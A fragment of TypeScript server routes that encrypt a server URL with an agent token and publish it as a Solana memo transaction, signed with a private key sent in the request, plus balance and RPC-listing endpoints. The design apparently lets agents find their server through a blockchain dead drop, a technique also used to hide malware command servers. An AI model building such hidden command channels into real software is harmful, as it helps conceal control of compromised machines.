if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) {
|
||||
return Response.json({ error: "serverUrl is required" }, { status: 400 });
|
||||
}
|
||||
|
||||
const config = getConfig();
|
||||
const agentToken = config.auth.agentToken;
|
||||
if (!agentToken) {
|
||||
return Response.json({ error: "No agent token configured on this server" }, { status: 400 });
|
||||
}
|
||||
|
||||
const memo = encryptServerUrl(serverUrl.trim(), agentToken);
|
||||
return Response.json({ memo, memoLength: memo.length });
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/sol/publish") {
|
||||
const body = await req.json();
|
||||
const { privateKeyBase58, serverUrl, rpcUrl } = body;
|
||||
|
||||
if (!serverUrl || typeof serverUrl !== "string" || !serverUrl.trim()) {
|
||||
return Response.json({ error: "serverUrl is required" }, { status: 400 });
|
||||
}
|
||||
if (!privateKeyBase58 || typeof privateKeyBase58 !== "string" || !privateKeyBase58.trim()) {
|
||||
return Response.json({ error: "privateKeyBase58 is required" }, { status: 400 });
|
||||
}
|
||||
|
||||
const config = getConfig();
|
||||
const agentToken = config.auth.agentToken;
|
||||
if (!agentToken) {
|
||||
return Response.json({ error: "No agent token configured on this server" }, { status: 400 });
|
||||
}
|
||||
|
||||
let keypair: Keypair;
|
||||
try {
|
||||
const decoded = decodeBase58(privateKeyBase58.trim());
|
||||
keypair = Keypair.fromSecretKey(decoded);
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid Solana private key (Base58)" }, { status: 400 });
|
||||
}
|
||||
|
||||
const endpoint = typeof rpcUrl === "string" && rpcUrl.trim()
|
||||
? rpcUrl.trim()
|
||||
: "https://api.mainnet-beta.solana.com";
|
||||
|
||||
try {
|
||||
new URL(endpoint);
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid RPC URL" }, { status: 400 });
|
||||
}
|
||||
|
||||
const memo = encryptServerUrl(serverUrl.trim(), agentToken);
|
||||
|
||||
try {
|
||||
const connection = new Connection(endpoint, "confirmed");
|
||||
|
||||
const memoInstruction = new TransactionInstruction({
|
||||
keys: [{ pubkey: keypair.publicKey, isSigner: true, isWritable: true }],
|
||||
programId: MEMO_PROGRAM_ID,
|
||||
data: Buffer.from(memo, "utf8"),
|
||||
});
|
||||
|
||||
const transaction = new Transaction().add(memoInstruction);
|
||||
transaction.feePayer = keypair.publicKey;
|
||||
|
||||
const { blockhash } = await connection.getLatestBlockhash("confirmed");
|
||||
transaction.recentBlockhash = blockhash;
|
||||
|
||||
transaction.sign(keypair);
|
||||
|
||||
const signature = await connection.sendRawTransaction(transaction.serialize(), {
|
||||
skipPreflight: false,
|
||||
preflightCommitment: "confirmed",
|
||||
});
|
||||
|
||||
await connection.confirmTransaction(signature, "confirmed");
|
||||
|
||||
logger.info(`[sol] Published memo to Solana. Signature: ${signature}, Address: ${keypair.publicKey.toBase58()}`);
|
||||
|
||||
return Response.json({
|
||||
success: true,
|
||||
signature,
|
||||
address: keypair.publicKey.toBase58(),
|
||||
memo,
|
||||
memoLength: memo.length,
|
||||
explorerUrl: endpoint.includes("devnet")
|
||||
? `https://explorer.solana.com/tx/${signature}?cluster=devnet`
|
||||
: `https://explorer.solana.com/tx/${signature}`,
|
||||
});
|
||||
} catch (err: any) {
|
||||
logger.error(`[sol] Failed to publish memo: ${err?.message || err}`);
|
||||
return Response.json({
|
||||
error: `Transaction failed: ${err?.message || "Unknown error"}`,
|
||||
}, { status: 500 });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "POST" && url.pathname === "/api/sol/balance") {
|
||||
const body = await req.json();
|
||||
const { publicKeyBase58, rpcUrl } = body;
|
||||
|
||||
if (!publicKeyBase58 || typeof publicKeyBase58 !== "string") {
|
||||
return Response.json({ error: "publicKeyBase58 is required" }, { status: 400 });
|
||||
}
|
||||
|
||||
let pubkey: PublicKey;
|
||||
try {
|
||||
pubkey = new PublicKey(publicKeyBase58.trim());
|
||||
} catch {
|
||||
return Response.json({ error: "Invalid Solana public key" }, { status: 400 });
|
||||
}
|
||||
|
||||
const endpoint = typeof rpcUrl === "string" && rpcUrl.trim()
|
||||
? rpcUrl.trim()
|
||||
: "https://api.mainnet-beta.solana.com";
|
||||
|
||||
try {
|
||||
const connection = new Connection(endpoint, "confirmed");
|
||||
const balance = await connection.getBalance(pubkey);
|
||||
return Response.json({
|
||||
balance,
|
||||
balanceSol: balance / LAMPORTS_PER_SOL,
|
||||
});
|
||||
} catch (err: any) {
|
||||
return Response.json({
|
||||
error: `Failed to fetch balance: ${err?.message || "Unknown error"}`,
|
||||
}, { status: 500 });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/sol/rpc-endpoints") {
|
||||
return Response.json({ endpoints: DEFAULT_RPC_ENDPOINTS });
|
||||
}
|
||||
|
||||
return null;
|
||||
} catch (err: any) {
|
||||
logger.error(`[sol] Route error: ${err?.message || err}`);
|
||||
return Response.json({ error: "Internal server error" }, { status: 500 });
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user